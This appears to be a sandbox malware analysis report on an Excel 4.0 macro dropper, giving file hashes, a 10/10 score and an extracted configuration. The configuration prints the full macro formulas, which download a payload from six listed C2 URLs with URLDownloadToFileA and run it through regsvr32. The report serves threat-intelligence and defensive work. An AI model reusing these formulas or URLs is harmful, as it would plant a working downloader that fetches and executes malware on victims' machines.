General

  • Target

    a986ce9b8423999e9e38d13854df2f6b55cdc0d4e93d14f4a3af6586a4cf6319

  • Size

    40KB

  • Sample

    241120-s49w4sypbw

  • MD5

    be74d465bd8c6765348ded3ed1f3911f

  • SHA1

    62d2bff096350ba5b66c8d8efae52f3631ecb1fa

  • SHA256

    a986ce9b8423999e9e38d13854df2f6b55cdc0d4e93d14f4a3af6586a4cf6319

  • SHA512

    448e87e0948a3483624beff3b5a42a4e8f454f17701d124578384675ac9afa76fcbae04ccad57c1110dcadde916cf06a89e39c52a4639ec0f3723cb8070983c5

  • SSDEEP

    768:Stby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:KbunC5iymqylND59V4jwmXc2Xy3

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

http://en.pachammer.com/wp-content/vIG/

http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/

http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/

http://www.aacitygroup.com/wp-content/EkY9/

https://theoutsourcedaccountant.com/images/nFikTQmP/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/","..\xda.ocx",0,0) =IF('EFEGVE'!F12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://en.pachammer.com/wp-content/vIG/","..\xda.ocx",0,0)) =IF('EFEGVE'!F14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/","..\xda.ocx",0,0)) =IF('EFEGVE'!F16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/","..\xda.ocx",0,0)) =IF('EFEGVE'!F18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.aacitygroup.com/wp-content/EkY9/","..\xda.ocx",0,0)) =IF('EFEGVE'!F20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://theoutsourcedaccountant.com/images/nFikTQmP/","..\xda.ocx",0,0)) =IF('EFEGVE'!F22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xda.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

Targets

    • Target

      a986ce9b8423999e9e38d13854df2f6b55cdc0d4e93d14f4a3af6586a4cf6319

    • Size

      40KB

    • MD5

      be74d465bd8c6765348ded3ed1f3911f

    • SHA1

      62d2bff096350ba5b66c8d8efae52f3631ecb1fa

    • SHA256

      a986ce9b8423999e9e38d13854df2f6b55cdc0d4e93d14f4a3af6586a4cf6319

    • SHA512

      448e87e0948a3483624beff3b5a42a4e8f454f17701d124578384675ac9afa76fcbae04ccad57c1110dcadde916cf06a89e39c52a4639ec0f3723cb8070983c5

    • SSDEEP

      768:Stby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:KbunC5iymqylND59V4jwmXc2Xy3

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks